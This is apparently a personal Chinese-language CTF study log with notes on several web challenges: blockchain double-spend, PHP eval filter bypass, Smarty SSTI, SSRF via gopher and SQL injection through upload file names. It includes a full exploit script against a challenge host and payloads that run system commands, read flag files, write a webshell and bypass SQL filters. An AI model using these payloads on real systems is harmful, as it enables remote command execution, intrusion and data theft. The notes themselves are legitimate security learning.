Triangle
2024/02/21 15:19
粗略看了一下应该是一个前端的is验证的情况
这几个函数都在secret.js里面
要js逆向废了
相当麻烦我先看一看wp
看了wp确定是js逆向还有涉及一个unicorn,看了介绍的文章是用来仿真CPU架构的,可以加快资源的加载吧好像是。
看代码if(test_pw(enc, pw) == 1){
alert('Well done!');
}
要得到==1第一个enc_pw()是我们可以控制的,在看第二个参数pw直接调用的一个函数,在secret.js里面,而且是一个固定的函数可以直接输出结果不会被我们控制,在控制台打印一下结果
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}
怎么回事调用这个函数怎么打印不出结果。。。乱码一样
换个浏览器也是这样
2024/05/17 18:09 任然是这个情况,未完成。
Web_python_block_chain
访问就是一堆字母和数字。
这个题目是什么python的blockchain区块链
旁边一个链接可以查看原代码
看到flag的函数,并且找到如果得到flag的规则
要diamonds>=2才可以
那么怎么获得砖石呢,又要代码审计了
里面用了很多区块链相关的名词还得去研究研究都是什么意思,看了utxo的解释我还是第一次知道有这样的交易方式666
看的一头雾水,不过有几篇文章我认为讲的很好虽然我不是很懂但是这是自己的原因
UTXO(Unspent Transaction Output,未花费的交易输出)工作原理:
UTXO模型是比特币等区块链系统中的核心概念。它将每个交易的输出视为一个可以被花费的“硬币”,这些“硬币”在后续的交易中被用作输入。每个UTXO包含以下信息:
- ID:唯一的标识符,用于引用特定的交易输出。
- 地址:接收UTXO的地址。
- 金额:UTXO的价值。
{
"amount":余额,
"addr":钱包地址,
"id":标识每一个utxo的id,
"hash":根据以上三个数据生成的hash
}
当一个新的交易被创建时,它会引用一个或多个UTXO作为输入,并创建新的UTXO作为输出。这些新的UTXO随后可以被其他交易引用。在区块链中,只有当一个UTXO被包含在交易的输入中时,它才会被认为是“花费”的。未被花费的UTXO构成了区块链的货币供应。
区块链代码分析:
初始化:init()函数初始化了区块链,创建了创世区块(genesis block),并模拟了银行发行货币和黑客攻击的场景。
交易创建:create_tx()函数用于创建一个新的交易,它包含输入(input)和输出(output)。输入是指向之前交易的输出,输出是新的UTXO。
区块创建:create_block()函数创建一个新的区块,包含前一个区块的哈希、随机数(nonce)和交易列表。每个区块的哈希是通过前一个区块的哈希、当前区块的随机数和交易列表的哈希计算得出的。
区块验证:append_block()函数在添加新块到区块链之前,会进行一系列的验证,包括检查输入UTXO的有效性、签名验证、输出金额的合法性等。
UTXO模型:UTXO是区块链中表示未花费交易输出的数据结构。每个UTXO包含一个ID、地址和金额。在交易中,输入会引用一个或多个UTXO,而输出则创建新的UTXO。
余额计算:calculate_balance()函数计算每个地址的余额,即该地址拥有的所有未花费UTXO的总金额。
免费DDCoin:free_ddcoin()函数允许用户从银行免费获取DDCoin,但银行的余额有限。
交易和钻石:create_tx_and_check_shop_balance()函数处理用户创建的交易,并在特定条件下(如向商店地址转账1000000 DDCoins)给予用户钻石。
重置区块链:reset_blockchain()函数用于重置区块链状态,这在开发和测试时非常有用。
题目背景,也就是这个初始化函数
题目提示: 某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?
注意事项:区块链是存在cookie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-cookie字段而导致区块链无法更新,因此强烈推荐写脚本发请求
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ... #首先,银行发行了一些DDCoin
total_currency_issued = create_output_utxo(bank_address, 1000000) #返回一个数据块utxo
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing 创世交易——也就是第一次交易,这里没有输入创世交易的目的是为区块链的初始状态设定一个基础,它定义了初始的货币供应量和分配。在实际的比特币区块链中,创世交易包含了一个特殊的输入,指向一个不存在的前一个区块(即“coinbase”输入),并产生了50个比特币作为奖励给矿工。这里的代码模拟了类似的过程,通过创世交易向某个地址(在这个例子中是银行地址)分配了1000000个DDCoins作为初始资金。这个交易随后会被包含在创世区块中,作为区块链的第一个区块的一部分。一旦这个区块被创建并添加到区块链中,它就标志着区块链的开始,并且所有的后续交易都将基于这个初始状态进行。
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank',
[genesis_transaction]) #这一段代码是创建创世块也就是第一个块。创世区块是区块链的起点,它定义了区块链的初始状态,包括初始的交易和区块的元数据。这里的create_block函数用于创建一个新的区块对象,它接受三个参数:
prev:前一个区块的哈希值。对于创世区块来说,这个值是EMPTY_HASH,表示没有前一个区块,因为它是第一个区块。
nonce:一个随机数,用于工作量证明(Proof of Work,PoW)算法。在实际的比特币网络中,矿工需要找到一个满足特定条件的随机数,使得区块的哈希值小于某个目标值。这里的nonce是一个字符串,可能是为了模拟创世区块的特定情况。
transactions:一个包含交易的列表。
在这个例子中,列表只包含一个元素genesis_transaction,即上面创建的创世交易。创世区块的nonce通常是一个特定的字符串,这个字符串在比特币的创世区块中引用了《泰晤士报》的一篇关于财政危机的头条新闻,这是比特币创始人中本聪(Satoshi Nakamoto)留下的一个彩蛋。在这个例子中,'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank'是这个字符串的直接引用,它不仅标记了创世区块的创建时间(2009年1月3日),也反映了当时全球金融危机的背景。创建创世区块后,它会被添加到区块链中,作为整个区块链的起点。所有后续的区块都会引用这个区块,形成一个不可篡改的链。在实际的比特币网络中,创世区块的哈希值是已知的,并且是区块链的一部分。在这段代码中,创世区块的哈希值会被存储在会话(session)中,以便后续的区块能够正确地链接到它。
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0 #高度为0就是意味着他是创世区块,后面的就是12345这样的接着来算高度了,值越小意味着离创世区块越近
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...#然后,银行被黑客入侵了。。。
handout = create_output_utxo(hacker_address, 999999) #这里就是黑客分走了999999给银行留下了1
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey) #返回交易数据块
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred]) #创建了第二个数据块,第二个参数是随机数当然这里用一句话代替也是可以的,反正字符串也可以hash运算
append_block(second_block)#添加到链上,这个函数也是最复杂的函数,他需要执行了一系列的步骤来确保新块的有效性,并将其正确地链接到现有的区块链上。
# Can you buy 2 diamonds using all DDCoins? #你能用所有DDCoin买2颗钻石吗?
third_block = create_block(second_block['hash'], 'a empty block', [])#这里创建一个空的第三区块
append_block(third_block)
初始化的情况就是这样
这里用到双花攻击
双花攻击是同一笔UTXO在不同交易中的花费,双花不会产生新的货币,只能把自己花出去的钱重新拿回来。
这道题就是使用双花攻击中的51% attack。51% attack指的是攻击者如果可以拥有超过全网50%的算力,就可以创造一条高度大于原始链的链,攻击者可以发送一个新的块到这条链上
为什么双花攻击可以成功?
因为这里我们的余额是每次通过get_balance_of_all()计算得出,这个函数依次调用find_blockchain_tail()和calculate_utxo(),去重新由尾到头生成一个新的余额字典,并且find_blockchain_tail()认为区块中的height值最高的区块为尾块。而每个区块中的height值,由append_block()添加,这个函数根据区块的前项hash,令本项区块的height为前项区块的height值加1。由于append_block()并没有校验或者禁止多个区块的前项hash指向同一个区块,则在整个区块链中是可以存在支链的。计算余额时以最长链为主。本题中当支链和主链长度相同时,计算余额采取的链是随机的,但是为了确保成功,构造的假链最好要要比原始主链长度大一。
然后方式就是这样的,还有一种但是前面的wp用的是这种,而且这种我看的懂些
向下创建一个分支,交易转账给商店,此时这个分支没有主支长,所以没有作用,里面的转账并不会发生,等到分支一超过了主支,默认的区块链就变成了分支一,于是自动触发了购买砖石,就是原本转给黑客和银行的钱又回来了变成了购买砖石,在砖石那边的记录确实会加一
,然后继续创建第二个分支,这个分支而一但超过分支一(感觉这里图好像画错了,应该在空块2画分支的,知道是不是)就会重洗走一遍区块链,所以之前的钱又回来了相当于又触发了一遍转账给银行的事件就又购买了一个砖石。(看了这个图感觉对于区块链的实现,或者说会是utxo了解的更清楚了,他和传统的记账系统完全不一样,就像一条C语言的指针一样链接在一起,而不是简单的修改数据库加一减一,而是牵一发而动全身)
银行一共有100w所以需要买两次才可以买到两颗砖石
至于攻击脚本我是无能为力写不出来的
我这里也只是大致的解释和理解,里面具体的每个函数的作用非常的麻烦,我自己也看的不是很懂。。。
附上大佬的exp
需要修改URl和几个地址的hash,python2运行
# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re
# 一堆变量常量
url_root="http://61.147.171.105:49289/"
url_create="http://61.147.171.105:49289/create_transaction"
url_flag="http://61.147.171.105:49289/flag"
s=requests.Session()
ddcoin = s.get(url=url_root)
prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
bank_addr="8789e1d75698301781edf021ec4209f78ac81e26546b647fd7ad77983a53ee221e13eca81af1731be383e48d27783085"
hacke_addr="9cfa0c9a8f362dc840d5b76edff744b3239596bae72ee5f66976773412fad04eb79b53a2bb7fa98ff2f2f8ea3b04d36d"
shop_addr="d71bb95fcf62268bb04babf6256a8f4131532e8dfb272cfda5bae2cf17217a31bfcbc0c7b1589465c8d0a0970ffb25c1"
# 源码中的API
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名
tx['hash'] = hash_tx(tx)
return tx
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
# 构造的方法
def check_hash(prev,tx):
for i in range(10000000):
current_block=create_block(prev,str(i),tx)
block_hash = int(current_block['hash'], 16)
if block_hash<DIFFICULTY:
print json.dumps(current_block)
return current_block
def create_feak_one():
utxo_first=create_output_utxo(shop_addr,1000000)
tx_first=create_tx([bank_utox_id],[utxo_first])
return check_hash(prev_one,[tx_first])
def create_empty_block(prev):
return check_hash(prev,[])
# 攻击过程
a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content
ctf{922a488e-f243-4b09-ae2d-fa2725da79ea}
做这总题目需要相当大的代码审计的能力,其实说白了就是有开发经验就好做,看这些代码看的真的头晕
love_math
进入直接显示代码,首先过滤了一些字符
空格 \t \n ' " ` [ ]
然后是白名单一大堆数学有关的函数,必须要在输入的值中有其中一个函数。。。
很清奇的题目
执行是一个eval函数,说明可以执行函数,只要想办法拼凑出一个恶意代码就可以,比如可执行函数system。
base_convert()
这个函数我之前遇到过比较厉害,可任意转换多种进制
先尝试一下phpinfo()先编码为36进制,因为这里限制了字数,36是一种比较小的编码方式
后面再单独加一个()
确实可以执行函数
然后就是编码一下system(ls)
system=1751504350
ls=784
system(cat flag.php)
cat flag.php=1249237078954765
但是直接这样子输入没有反应
看wp有两种解法,这里返回不出来的原因
第一种getallheaders()函数
这个函数的作用就是得到请求头的键和值,不过到了php8后就被弃用了,变为现在常见的$_SERVER
/?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1}) 赋予base_convert为pi是为了减少字数
注意这里不能用36进制,因为getallheaders的36进制转换为10进制后数太长会溢出,也就是无法把10进制数变回getallheader。所以我们在这里采用30进制。(当然这是在linux下使用php7.3版本的结果,如果是在windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader)
然后在请求头输入1:cat flag.php
第二种不知道用的是什么方法
system(hex2bin(nl *))
?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
它会将所有信息都打印出来
特意去找了一下是nl命令
nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。
相当于一个另类的文件读取命令,nl *就是读取当前目录下全部文件内容。学到了666
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符
我感觉这里的意思应该是用了hex3bin编码的结果,这里用nl *和cat flag.php都可以,只是nl *用的字数少不会超字数
然后这一题我感觉还有其他的一些解法,毕竟没有限制函数的使用,各式各样的函数估计只有我想不到的解法。
另这个flag不正确???
发现根目录下面还有一个flag
不过这个文件里面也并没有东西,原始的国赛里面flag就在这里,但是我读取了没有。。。服了
确定只有这两个flag
/flag是没有东西,只有flag.php
尼玛的flag是flag{dgjregjvdsmvba356sg}后面多一个空格。。。
smarty
题目提示SSTI,进去提示有两个接口,随便访问一个就访问这个xff的,然后修改一下xff就是SSTI了
然后看了一下不是python,并且题目提示了smarty所以是php的smarty模版注入
查看版本
既然可以执行代码,那么直接写入shell
{if file_put_contents('/var/www/html/shell.php','
写入成功了,但是无法执行???,上了木马但是只能看当前目录的内容好像
看了wp原来是函数被禁用了。。。
我之前学过这个东西,但是用的是蚁剑的插件
7的版本,确实之前我学习的时候好像说是只有7的版本才可以绕过好像
然后有很多种模式,看那些可以用用选哪些
随便用了一个可以的
当时是用的宝塔搭建的环境,然后宝塔就可以自定义禁用函数,很恶心。。。。。。
Background_Management_System
进入页面是个后台管理系统,然后给了一些提示,这就告诉了不要做SQL注入应该是
注册显示admin被注册过了,既然知道有admin用户那就尝试一下弱口令
在测试弱口令的时候输入了一些sql语句发现会过滤同时出现了thinkphp的经典笑脸,看一个是thinkphp几版本
随便注册一个账号登录进去看看,说flag在admin账号里
尝试了没有发现弱口令
尝试修改admin的密码也没有成功
尝试二次注入,成功进入admin
但是好像不是flag。。。
扫描一下目录发现存在www.ziph还有个shell.php,但是只允许内网访问。
看了wp说是使用gopher协议
这个协议我之前做题也遇到过,用的不是很熟练,玩的不是很明白,但是是一个很强大的协议只是现在用的少了。
这个协议可以错位形成一个新的get或者post请求从而实现ssrf
参数是URl,经典的ssrf参数
?url=gopher://127.0.0.1:80/_GET%20/xinan/public/shell.php%253Fcmd=cat%2B/flag
一般http默认80端口,然后价格_是因为这里换行的时候会吞掉一个字符,这个_任何字符代替都可以。%253是?%2B是空格 URl编码两次。这是因为后面的数据会解码两次。
就变成了
GET /xinan/public/shell.php?cmd=cat /flag
而且这个请求是主机发出的访问,所以属于内网访问。
没有什么很新奇的东西,但是集合了几个知识点。
blgdel
2024/02/24 12:42 环境有问题
ics-02
2024/02/21 15:18 环境有问题,数据库无法连接。。。
upload
2024/02/04 13:08
进入页面一个注册框,首先注册一个账号admin admin123
尝试上传文件可以上传jpg的文件
上传成功会显示一个uid,目前还不知道在哪里这个uid
爆破一些文件后缀基本确定是白名单
扫一下目录
进入这两个页面看一看
有一些文件,都是php文件点了没有啥用
主要是也没有看出来上传的文件到哪里了
难道说考点不在文件上传这,还是看wp吧,怕做无用功了等下又
是文件名的SQL注入。。。我其实尝试了单引号但是没看结果就来看wp了
随便丢一句话看什么反应
first'and'1'='1.jpg
结果是0
接下来就是看是怎么玩这个SQL注入的地方了,尝试了报错注入是不可以的
在尝试的过程中发现union select被过滤了,然后发现双写就可以绕过。。。但是这里怎么显示出来是个问题
看一下wp的payload
'+(selecselectt conv(substr(hex(Database()),1,12),16,10))+'
hex()转为16进制
substr(str, 1,12)截取字符串
conv( str , 16,10)将16进制的值转为10进制
先编码为16进制,然后再解码用ASCII16进制转为字符
按照wp的说法是有些东西是回显不出来转为10进制就可以。。。
这里的前后的两个+必不可少的是,但是为什么要加这两个++我没搞懂,没有原SQL语句我有点没看懂,+在这里不是空格的意思把应该
很难受,无法还原出原SQL语句,网上全都是照着抄payload的fw
先把flag取出来,再看看官方的wp有细讲没
最后取出来的flag !!_@m_Th.e_F!lag
看wp终于看到猜测SQL语句的了,我一直以为这里的注入是取出来发生的,搞错的,是insert的时候发生的
猜测insert
insert into 表名( ' filename',.... ) values('上传的文件名',...);
payload
SQL'+(selecselectt conv(substr(hex(Database()),1,12),16,10))+'
拼接语句
insert into 表名( ' filename',.... ) values(' SQL'+(selecselectt conv(substr(hex(Database()),1,12),16,10))+' ',...);
所以这里会进行运算这里进行的是mysql的隐式类型转换,当字符串与整数相加时会当做整数来解释,所以最后只留下了这串数字作为了filename,取出来也就是取的这个数字。
还有第二种方式也是相当的脑洞大开
这种方式是猜出表的结构了,然后用insert插入多行数据,第二个文件名出些语句会执行然后filename就会变成想要的文件名。这一方式就省去了前面这里还要闭合单引号再字符+数字的麻烦,直接一步到位666啊。但是怎么猜出有两列uid?
这种方式要修改为自己的uid
它这里应该是每次满10个数名就把数据库中这个值全部清楚在继续存
其实做到现在,玩SQL注入最重要的是猜测后端的SQL语句是怎么写的了,知道是哪里产生的注入还不够,知道要怎么闭合知道要怎么构造恶意语句才算玩明白了,我其实最不原因遇到的题型就是SQL注入,姿势太多了,而且如果猜不出SQL语句都不值怎么构造payload